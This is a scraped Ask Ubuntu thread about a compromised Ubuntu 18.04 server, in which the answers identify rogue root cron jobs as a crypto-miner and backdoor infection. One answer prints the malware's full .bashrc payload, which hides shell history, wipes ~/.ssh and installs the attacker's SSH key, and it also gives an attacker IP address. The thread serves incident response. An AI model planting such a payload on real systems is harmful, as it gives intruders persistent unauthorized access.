Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS ServerList what a CRON Job is doingCron job not executing?Running CRON job on Ubuntu server for SugarCRMCron job isn't workingCron job every secondCron job not runningUbuntu Server cron job doesn't workRoot Cron job doesn't perform chmodCron job,crontabCron job stopped workingsetting up rsync cron job, not executing

Why do rocket engines use nitrogen actuators to operate the fuel/oxidiser valves instead of electric servos?

If someone else uploads my GPL'd code to Github without my permission, is that a copyright violation?

Can the Cauchy product of divergent series with itself be convergent?

how to change dot to underline in multiple file-names?

Why do my fried eggs start browning very fast?

split inside flalign

Is an "are" omitted in this sentence

Piece de Resistance - Introduction & Ace and A's

Why does capacitance not depend on the material of the plates?

Did Logical Positivism fail because it simply denied human emotion?

What could prevent players from leaving an island?

Would this winged human/angel be able to fly?

Make lens aperture in Tikz

Need reasons why a satellite network would not work

How to check a file was encrypted (really & correctly)

Does a humanoid possessed by a ghost register as undead to a paladin's Divine Sense?

How do I handle a DM that plays favorites with certain players?

What is a term for "modern" technology that doesn't imply up-to-date?

What license to choose for my PhD thesis?

Can you put ranks into knowledge skills that aren't class skills?

How can I perform a deterministic physics simulation?

Why wasn't interlaced CRT scanning done back and forth?

Is space radiation a risk for space film photography, and how is this prevented?

How do I show and not tell a backstory?



Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS Server


List what a CRON Job is doingCron job not executing?Running CRON job on Ubuntu server for SugarCRMCron job isn't workingCron job every secondCron job not runningUbuntu Server cron job doesn't workRoot Cron job doesn't perform chmodCron job,crontabCron job stopped workingsetting up rsync cron job, not executing






.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;








21















I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?



sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1


I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019



UPDATE



I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.










share|improve this question





















  • 8





    .firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

    – Thom Wiggers
    Jul 25 at 15:09






  • 1





    The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

    – Thom Wiggers
    Jul 25 at 15:12







  • 2





    "I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

    – Rinzwind
    Jul 25 at 15:14






  • 2





    "Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

    – Rinzwind
    Jul 25 at 15:23






  • 1





    but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

    – Rinzwind
    Jul 25 at 16:56

















21















I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?



sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1


I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019



UPDATE



I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.










share|improve this question





















  • 8





    .firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

    – Thom Wiggers
    Jul 25 at 15:09






  • 1





    The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

    – Thom Wiggers
    Jul 25 at 15:12







  • 2





    "I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

    – Rinzwind
    Jul 25 at 15:14






  • 2





    "Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

    – Rinzwind
    Jul 25 at 15:23






  • 1





    but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

    – Rinzwind
    Jul 25 at 16:56













21












21








21


3






I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?



sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1


I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019



UPDATE



I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.










share|improve this question
















I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what this means?



sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1


I am running Ubuntu 18 LTS server fully up-to-date as of yesterday 7/24/2019



UPDATE



I appreciate all the feedback. I have disconnected all data and application drives since the only thing that was affected was the OS drive, I at least did that sort of thing properly. I am going with a complete rebuild, with a lot more security and more secure methods.







server cron rsync






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Jul 27 at 23:55









Skippy le Grand Gourou

1,4031 gold badge11 silver badges17 bronze badges




1,4031 gold badge11 silver badges17 bronze badges










asked Jul 25 at 15:06









MCP_infiltratorMCP_infiltrator

2362 silver badges11 bronze badges




2362 silver badges11 bronze badges










  • 8





    .firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

    – Thom Wiggers
    Jul 25 at 15:09






  • 1





    The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

    – Thom Wiggers
    Jul 25 at 15:12







  • 2





    "I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

    – Rinzwind
    Jul 25 at 15:14






  • 2





    "Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

    – Rinzwind
    Jul 25 at 15:23






  • 1





    but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

    – Rinzwind
    Jul 25 at 16:56












  • 8





    .firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

    – Thom Wiggers
    Jul 25 at 15:09






  • 1





    The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

    – Thom Wiggers
    Jul 25 at 15:12







  • 2





    "I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

    – Rinzwind
    Jul 25 at 15:14






  • 2





    "Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

    – Rinzwind
    Jul 25 at 15:23






  • 1





    but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

    – Rinzwind
    Jul 25 at 16:56







8




8





.firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

– Thom Wiggers
Jul 25 at 15:09





.firefoxcatche probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal.

– Thom Wiggers
Jul 25 at 15:09




1




1





The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

– Thom Wiggers
Jul 25 at 15:12






The files run by that crontab are /root/.firefoxcatche/a/upd and /root/.firefoxcatche/b/sync

– Thom Wiggers
Jul 25 at 15:12





2




2





"I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

– Rinzwind
Jul 25 at 15:14





"I can't find the crontab to hash it out " what does that mean? why would sudo crontab -e to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.

– Rinzwind
Jul 25 at 15:14




2




2





"Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

– Rinzwind
Jul 25 at 15:23





"Do I have to log in as root to get there? " This is a question I do not expect to see from a administrator. You really need to know what you are doing from now on. Change the admin password ASAP. Inspect the files listed in cron. Eradicate them.

– Rinzwind
Jul 25 at 15:23




1




1





but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

– Rinzwind
Jul 25 at 16:56





but it is that simple ;-) I maintain 10+ google cloud instances. With a contingency plan on anything I could imagine going wrong. If anything like this would happen I would destroy the root instance, create a new one, scan the data disk against a clone, scan the differences and then attach it to the instance. and the implement something to trap this person to prevent it happening again. In my case my paycheck depends on it ;-)

– Rinzwind
Jul 25 at 16:56










3 Answers
3






active

oldest

votes


















40














Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.



You can no longer trust that machine, and should re-install it. Be careful with restoring backups.






share|improve this answer






















  • 8





    I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

    – Rinzwind
    Jul 25 at 15:21


















9














Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.






share|improve this answer
































    4














    The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.



    I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:



    • .bashrc

    • .ssh/authorized_keys

    I found this at the end of .bashrc (which is executed each time bash is opened):



    set +o history
    export PATH=/home/user/.bin:$PATH
    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~


    It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:



    ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr


    Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.



    There are 2 solutions:
    A:



    • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts


    • Kill all cron jobs:
      ps aux | grep cron, then kill the PID that shows up


    • Change your password to a secure one


    B:



    • Back up any files or folders that you need or want



    • Reset the server and reinstall Ubuntu, or directly create a new droplet



      Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)



    The most suspicious folders I found were:



    • /tmp/.X13-unix/.rsync


    • ~/.bashrc ( which was edited )


    • ~/.firefoxcatche


    Finally, there is an article relating to the Perl Backdoor here:
    https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/



    I hope you find this useful.






    share|improve this answer



























    • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

      – MCP_infiltrator
      Jul 30 at 12:47











    • Yes, that's a good solution :)

      – Oqhax
      Jul 30 at 13:05











    • This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

      – Benny Hill
      22 hours ago













    Your Answer








    StackExchange.ready(function()
    var channelOptions =
    tags: "".split(" "),
    id: "89"
    ;
    initTagRenderer("".split(" "), "".split(" "), channelOptions);

    StackExchange.using("externalEditor", function()
    // Have to fire editor after snippets, if snippets enabled
    if (StackExchange.settings.snippets.snippetsEnabled)
    StackExchange.using("snippets", function()
    createEditor();
    );

    else
    createEditor();

    );

    function createEditor()
    StackExchange.prepareEditor(
    heartbeatType: 'answer',
    autoActivateHeartbeat: false,
    convertImagesToLinks: true,
    noModals: true,
    showLowRepImageUploadWarning: true,
    reputationToPostImages: 10,
    bindNavPrevention: true,
    postfix: "",
    imageUploader:
    brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
    contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
    allowUrls: true
    ,
    onDemand: true,
    discardSelector: ".discard-answer"
    ,immediatelyShowMarkdownHelp:true
    );



    );













    draft saved

    draft discarded


















    StackExchange.ready(
    function ()
    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2faskubuntu.com%2fquestions%2f1161003%2fstrange-cron-job-takes-up-100-of-cpu-ubuntu-18-lts-server%23new-answer', 'question_page');

    );

    Post as a guest















    Required, but never shown

























    3 Answers
    3






    active

    oldest

    votes








    3 Answers
    3






    active

    oldest

    votes









    active

    oldest

    votes






    active

    oldest

    votes









    40














    Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.



    You can no longer trust that machine, and should re-install it. Be careful with restoring backups.






    share|improve this answer






















    • 8





      I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

      – Rinzwind
      Jul 25 at 15:21















    40














    Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.



    You can no longer trust that machine, and should re-install it. Be careful with restoring backups.






    share|improve this answer






















    • 8





      I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

      – Rinzwind
      Jul 25 at 15:21













    40












    40








    40







    Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.



    You can no longer trust that machine, and should re-install it. Be careful with restoring backups.






    share|improve this answer















    Your machine most likely has a crypto miner infection. You can see someone else reporting similar filenames and behaviour at Real-life detection of a virtual machine in Azure with Security Center. See also My Ubuntu Server has a virus... I've located it but I can't get rid of it... on Reddit.



    You can no longer trust that machine, and should re-install it. Be careful with restoring backups.







    share|improve this answer














    share|improve this answer



    share|improve this answer








    edited yesterday









    Eliah Kagan

    87.7k22 gold badges243 silver badges386 bronze badges




    87.7k22 gold badges243 silver badges386 bronze badges










    answered Jul 25 at 15:14









    Thom WiggersThom Wiggers

    5375 silver badges9 bronze badges




    5375 silver badges9 bronze badges










    • 8





      I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

      – Rinzwind
      Jul 25 at 15:21












    • 8





      I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

      – Rinzwind
      Jul 25 at 15:21







    8




    8





    I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

    – Rinzwind
    Jul 25 at 15:21





    I agree. root password got compromised so re-install and be very careful with the backup; it could also be on there.

    – Rinzwind
    Jul 25 at 15:21













    9














    Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.






    share|improve this answer





























      9














      Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.






      share|improve this answer



























        9












        9








        9







        Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.






        share|improve this answer













        Your machine has been infected with a crypto miner attack. I also faced a similar ransomware attack in the past and my database was compromised. I took a SQL dump for the machine and reprovisioned the machine (as my machine was a VM hosted on AWS EC2). I also modified the security groups of the machine to lock down SSH access and modified passwords. I also enabled logging to log queries and export it to S3 every night.







        share|improve this answer












        share|improve this answer



        share|improve this answer










        answered Jul 26 at 5:55









        beingadityakbeingadityak

        14110 bronze badges




        14110 bronze badges
























            4














            The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.



            I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:



            • .bashrc

            • .ssh/authorized_keys

            I found this at the end of .bashrc (which is executed each time bash is opened):



            set +o history
            export PATH=/home/user/.bin:$PATH
            cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~


            It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:



            ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr


            Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.



            There are 2 solutions:
            A:



            • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts


            • Kill all cron jobs:
              ps aux | grep cron, then kill the PID that shows up


            • Change your password to a secure one


            B:



            • Back up any files or folders that you need or want



            • Reset the server and reinstall Ubuntu, or directly create a new droplet



              Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)



            The most suspicious folders I found were:



            • /tmp/.X13-unix/.rsync


            • ~/.bashrc ( which was edited )


            • ~/.firefoxcatche


            Finally, there is an article relating to the Perl Backdoor here:
            https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/



            I hope you find this useful.






            share|improve this answer



























            • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

              – MCP_infiltrator
              Jul 30 at 12:47











            • Yes, that's a good solution :)

              – Oqhax
              Jul 30 at 13:05











            • This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

              – Benny Hill
              22 hours ago















            4














            The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.



            I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:



            • .bashrc

            • .ssh/authorized_keys

            I found this at the end of .bashrc (which is executed each time bash is opened):



            set +o history
            export PATH=/home/user/.bin:$PATH
            cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~


            It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:



            ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr


            Furthermore, I found this folder: /tmp/.X13-unix/.rsync, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip, a file containing 70 000 IP addresses, which most likely are other victims or node servers.



            There are 2 solutions:
            A:



            • Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts


            • Kill all cron jobs:
              ps aux | grep cron, then kill the PID that shows up


            • Change your password to a secure one


            B:



            • Back up any files or folders that you need or want



            • Reset the server and reinstall Ubuntu, or directly create a new droplet



              Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run, containing this (https://pastebin.com/ceP2jsUy)



            The most suspicious folders I found were:



            • /tmp/.X13-unix/.rsync


            • ~/.bashrc ( which was edited )


            • ~/.firefoxcatche


            Finally, there is an article relating to the Perl Backdoor here:
            https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/



            I hope you find this useful.






            share|improve this answer



























            • I wiped the os drive and reinstalled Ubuntu created a new password that is rather long and new ssh keys

              – MCP_infiltrator
              Jul 30 at 12:47











            • Yes, that's a good solution :)

              – Oqhax
              Jul 30 at 13:05











            • This was a very helpful answer - thank you for catching the fact that ~/.bashrc had been edited. I found that to kill the bogus rsync I had to issue kill -9 <pid>.

              – Benny Hill
              22 hours ago













            4












            4








            4







            The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog and this IP (185.234.218.40) appeared to be automatically executing cronjobs.



            I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:



            • .bashrc

            • .ssh/authorized_keys

            I found this at the end of .bashrc (which is executed each time bash is opened):



            set +o history
            export PATH=/home/user/.bin:$PATH
            cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~


            It is deleting your authorized_keys file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:



